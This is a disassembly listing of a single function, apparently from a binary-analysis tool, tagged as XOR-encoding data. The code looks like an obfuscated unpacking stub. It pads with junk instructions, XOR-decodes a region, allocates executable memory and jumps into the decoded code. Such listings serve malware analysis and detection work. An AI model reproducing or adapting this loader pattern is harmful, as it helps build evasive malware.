Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5843ce13
add edi, 0x8a71db84
mov edx, 0xe830b7f6
popal
or edi, edi
sub edi, edx
mov edi, 0
mov esi, ecx
mov ebx, 0xafe78aa9
add edx, ebx
inc ebx
mov eax, esi
inc ebx
and edx, ebx
mov ecx, eax
mov edx, ebx
sub ebx, edx
not edx
inc edi
or edx, ebx
or ebx, edx
mov edx, ebx
cmp edi, 0x100c023
jne 0xa789c7
add ebx, ebx
add edx, 0x5ad469a4
dec edi
sub edi, edx
add edx, 0x224a010f
mov edx, 0xa78796
inc edi
mov ecx, 0x49772a81
not edi
mov ebx, 0xa7898a
sub esi, 1
not ecx
not ecx
mov eax, dword [edx]
add esi, ecx
sub edi, 0x69af5a93
sub ecx, edi
and eax, 0xff
mov esi, edi
or esi, ecx
xor dword [ebx], eax
mov ecx, 0x7639da7f
dec esi
sub edi, esi
inc ebx
mov esi, ecx
not edi
add ecx, 0x2d273179
inc edx
sub esi, 0x5033ba48
or edi, edi
and esi, esi
cmp ebx, entry0
jl 0xa78a1e
add esi, 0xb1ecc5d0
mov ecx, edi
or esi, ecx
or edi, esi
or esi, esi
add ecx, ecx
add esi, 0x136c9cda
sub edi, ecx
or esi, edx
mov ebx, 0xa7898e
sub esi, ecx
mov edx, ecx
mov ebx, dword [ebx]
and ecx, ecx
and ecx, edx
mov ecx, edx
mov ebx, dword [ebx]
sub ecx, 0xcaa70e38
and edx, edx
dec esi
push ebx
sub edi, 1
sub esi, 0x10534470
mov ebx, 0xa7898a
mov edi, edx
mov edi, 0x180fdf7d
or edi, esi
mov ebx, dword [ebx]
not esi
mov ecx, 0x8f84bf7
mov ebx, dword [ebx]
sub edx, ecx
add ecx, 0xdc5b7a53
add esi, 0xf066d3e6
push 0xa78992
add edi, edi
sub edi, esi
sub esi, 0xf8845e63
call ebx
dec esi
sub edx, ecx
pop ebx
add ecx, 0xd20784cf
add edi, 0xa1f6ed56
push 0xa7899f
mov ecx, 0x15acc43e
and esi, esi
and ecx, ecx
sub esp, 4
mov dword [esp], eax
mov edi, 0x453510f8
add esi, ecx
not edx
call ebx
mov edi, esi
add edx, 0xf69da333
or ecx, ecx
push 0x40
not ecx
sub edx, 0x21cf1143
sub esp, 4
mov dword [esp], 0x3000
and edx, edi
inc edx
mov ecx, edi
push 0x200006f0
inc ecx
inc edi
or edx, edx
push 0
mov ecx, 0xe797d25e
add edx, 0x81e735c9
add edx, 0xda420670
call eax
inc edx
mov edi, 0xd84a5fbb
add eax, 0x20000669
mov edi, 0xe168467a
inc edx
not ecx
mov ebx, 0x9a72b540
add esi, 0xda55d90a
mov esi, 0xce5d08b4
mov dword [eax], ebx
add ecx, 0x67d86ab8
add esi, ecx
mov ebx, dword [eax]
dec ecx
sub esi, 0x299abf02
cmp ebx, 0x9a72b540
je 0xa78b97
mov ecx, 0
mov byte [ecx], al
or edx, edx
add ecx, 1
sub edx, 0x3c7df7a9
or edi, edi
and esi, esi
mov edi, edx
sub edx, edi
mov edi, 0xd594b26e
mov ebx, section..reltc
or edi, edi
dec edx
mov esi, 0xa78795
sub edx, 0x8ef0da33
mov edi, edx
not edi
mov eax, 0
mov edi, 0xc44a17de
sub edx, 0x7dda9cee
sub edi, 0x7c176167
mov ecx, 0xa78796
sub edi, 0xda540625
or edx, edi
lea ecx, [ecx + eax]
mov edi, edx
inc edi
mov ecx, dword [ecx]
mov edi, 0xa962b2d9
sub edi, 0x7d4376c2
mov edi, 0x31bd6397
and ecx, 0xff
add edi, 0xa4013026
and edx, edi
and edx, edi
inc eax
sub edx, 0x987605e3
not edi
cmp eax, 0x1f4
jne 0xa78c2a
mov eax, 0
sub edi, 1
and edx, edx
sub edi, edx
mov edi, 0xc5d21243
add edx, 0x93b875b1
xor dword [ebx], ecx
add edi, edx
sub edi, 0x71b90bed
add edx, 0xb16b9d08
add ebx, 2
or edx, edx
mov edx, edi
sub edi, edx
cmp ebx, esi
jl 0xa78bdf
mov edi, 0x77c2a645
mov edi, edx
add edx, 0x1188aad8
add edi, 1
dec edi
mov eax, section..reltc
sub esi, 0x337b52ee
sub esi, ecx
mov ebx, section..reltc
mov esi, 0x7aea5884
mov esi, ecx
or esi, esi
mov edi, 0xa78795
not ecx
or ecx, esi
mov edx, 0
mov esi, ecx
and ecx, esi
and ecx, esi
mov dl, byte [ebx]
add ecx, 0xf632b817
sub esi, 0x575d8a50
mov byte [eax], dl
inc ecx
add esi, ecx
inc eax
add ecx, esi
and esi, ecx
and ecx, esi
add ebx, 2
mov ecx, 0x9c60da96
dec esi
not ecx
cmp ebx, edi
jle 0xa78ca6
mov esi, 0x10a0ddb
mov ecx, esi
or ecx, esi
mov edx, edi
dec edi
push 0x8dc6a0
mov edx, edi
dec edi
ret